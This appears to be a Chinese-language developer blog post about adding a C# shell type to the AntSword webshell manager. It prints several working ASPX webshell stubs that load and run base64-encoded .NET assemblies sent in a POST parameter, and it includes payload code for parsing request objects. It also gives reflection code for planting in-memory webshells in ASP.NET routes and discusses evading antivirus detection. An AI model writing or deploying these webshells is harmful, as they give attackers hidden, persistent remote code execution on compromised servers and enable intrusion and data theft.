最近花了点时间,给蚁剑加上了C#的shell类型。
其实蚁剑在实现jscript加载assembly之后,jscript已经可以实现所有C#可以实现的功能:http://yzddmr6.com/posts/jscript-load-csharp-assembly/
这次增加主要是有几点考虑:
-
Jscript的shell出现很容易被杀。我还没有见过用jscript写的项目,web目录下面出现了Jscript文件99.99%就是webshell,特征更明显一些。
-
Jscript的语法属实恶心。没有啥文档,坑全部靠踩。
-
C#类型可以兼容asp.net 各种内存马,Jscript无法做到。
本文记录一下自己在开发设计的过程中,遇到的一些问题以及自己的思考。
其实一开始遇到的问题是无法自定义类名的问题。c#跟java有一点不同的是,java的newInstance是不需要指定type的,只要有Class对象就可以实例化。但是c#在实例化的时候必须要指定实例化的type,这也意味着我们所有的全限定类名必须要一样。
冰蝎默认类名都是U,就建在根命名空间下。每个payload是单独编译的。
哥斯拉同样采用了这种机制,实例化的类名是LY。但是因为哥斯拉采用的方式是一次性把payload都打到内存里然后反射调用,所以可以把所有的基础payload都编译到一个dll里面。
但是这样开发Payload的时候会很难受,因为在同一个项目下面都用一个固定的类名,编译器是会报冲突的。
后来想到了一种取巧的办法,用python命令行调用编译程序,在编译之前把类名都统一替换掉。暂时解决了问题,但是还是感觉不够优雅。
那么有没有什么办法可以动态获取到assembly的type呢?
翻了翻手册,发现以下方法
写代码测试一下
1
2
3
4
5
6
7
|
String Payload = "xxx";
System.Reflection.Assembly a = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
Console.WriteLine("Assembly.GetName: "+a.GetName());
Console.WriteLine("Assembly.GetName.Name: "+a.GetName().Name);
Console.WriteLine("Assembly.GetType: "+a.GetType());
Console.WriteLine("Assembly.GetTypes[0]: "+a.GetTypes()[0]);
Console.WriteLine("Assembly.GetTypes[0].FullName: "+a.GetTypes()[0].FullName);
|
output
1
2
3
4
5
|
Assembly.GetName: BASE_Info, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
Assembly.GetName.Name: BASE_Info
Assembly.GetType: System.Reflection.Assembly
Assembly.GetTypes[0]: BASE_Info.Run
Assembly.GetTypes[0].FullName: BASE_Info.Run
|
Assembly.GetTypes返回的是一个列表,而payload里面我们通常只会定义一个类,所以可以通过Assembly.GetTypes[0]来获取payload类的type。
webshell中可以采用如下写法。
1
2
3
4
5
6
7
8
9
|
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetTypes()[0].FullName).Equals(Context);
}
%>
|
这里又跟java的defineClass不太一样,defineClass只能打进去一个类,而c#的Assembly.Load可以加载一个程序集,并不一定只是一个类。所以为了考虑今后payload里可能会有多个类的情况,推荐的写法如下:
1
2
3
4
5
6
7
8
9
|
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);
}
%>
|
即强行指定实例化的类为命名空间下名为Run的类。
rebeyond大佬在最开始用加载assembly作为aspx类型的shell时,默认Equals里面是this对象。也就是Page对象。这种方式在aspx文件落地的情况下没有毛病,但是在内存马环境下,是没有Page对象的,这种办法也就不兼容。
微软文档如下图
哥斯拉则对此进行了兼容处理,不再采用Page对象,而采用了兼容性更好的HttpContext
其实入口参数的本质就是获取到当前的request跟response对象。
吸取了jsp的经验,一开始parseObj函数内置了三种方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public void parseObj(Object obj)
{
if (obj.GetType().IsArray)//直接数组传入
{
Object[] data = (Object[])obj;
this.Request = (HttpRequest)data[0];
this.Response = (HttpResponse)data[1];
}
else
{
try
{
Page page = (Page)obj;//传入Page对象
this.Response = page.Response;
this.Request = page.Request;
}
catch (Exception)
{
HttpContext context = (HttpContext)obj;//传入HttpContext对象
this.Response = context.Response;
this.Request = context.Request;
}
}
}
|
所以在shell中用以下写法均可连接
1
2
3
4
5
6
7
8
|
//利用Page对象
System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(this);
//利用Context对象
System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(Context);
//利用数组
System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(new object[] { Request, Response });
|
以asp.net的Route内存马为例,从route上下文中获取到的Context是HttpContextBase,而不是HttpContext。具体的实现类为System.Web.HttpContextWrapper。
并且通过HttpContextWrapper.Request获取到的对象是HttpRequestBase,默认实现类是System.Web.HttpRequestWrapper。有点类似Tomcat的门面模式。
如果要采用数组的方式可以用以下反射代码实现
1
2
3
4
5
6
7
8
9
10
11
12
|
FieldInfo requestField =
typeof(HttpRequestWrapper).GetField("_httpRequest", BindingFlags.Instance | BindingFlags.NonPublic);
HttpRequest httpRequest =
(HttpRequest)requestField.GetValue(httpContext.Request);
FieldInfo responseField =
typeof(HttpResponseWrapper).GetField("_httpResponse",
BindingFlags.Instance | BindingFlags.NonPublic);
HttpResponse httpResponse =
(HttpResponse)responseField.GetValue(httpContext.Response);
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { httpRequest, httpResponse });
|
访问注入内存马的aspx,一片空白说明注入成功
蚁剑中输入任意url,连接成功。
看起来不错了,但是还有继续优化的空间吗?
Java中一个比较著名的问题是内存马回显,实际上是如何从当前线程获取当前的request跟response对象。这个问题其实比较蛋疼,因为不同的容器有不同的实现细节,无法统一处理。
但是C#则直接把这个接口给暴露了出来,直接可以通过HttpContext.Current获取到当前的context,从而获取当前的request跟response对象。
再次改造之后,payload中parseObj如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public void parseObj(Object obj)
{
if (obj.GetType().IsArray)
{
Object[] data = (Object[])obj;
this.Request = (HttpRequest)data[0];
this.Response = (HttpResponse)data[1];
}
else
{
try
{
HttpContext context = (HttpContext)obj;
this.Response = context.Response;
this.Request = context.Request;
}
catch (Exception)
{
HttpContext context = HttpContext.Current;
this.Response = context.Response;
this.Request = context.Request;
}
}
}
|
改版后我们去掉了兼容性不强的Page方式,如果数组方式跟Context都无法获取的话,就尝试通过HttpContext.Current来拿到当前的Context。
所以其实在shell中直接Equals(null),或者一个随意对象即可。
1
2
3
4
5
6
7
8
9
|
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
}
%>
|
同样可以连接成功
至于为什么没有把原来的入口参数方式全部都去掉,是因为新类型并没有在实战环境中测试过。不知道会不会有一些特殊情况。为了谨慎起见,还是保留了原来的入口参数。
个人喜欢开发一些工具,同时记录下自己的碎碎念。如果能对你有帮助,那就最好不过了。
github地址:https://github.com/AntSwordProject/antSword/commit/d2d848c89e03088c20cc31f411e73fe2dd2973ea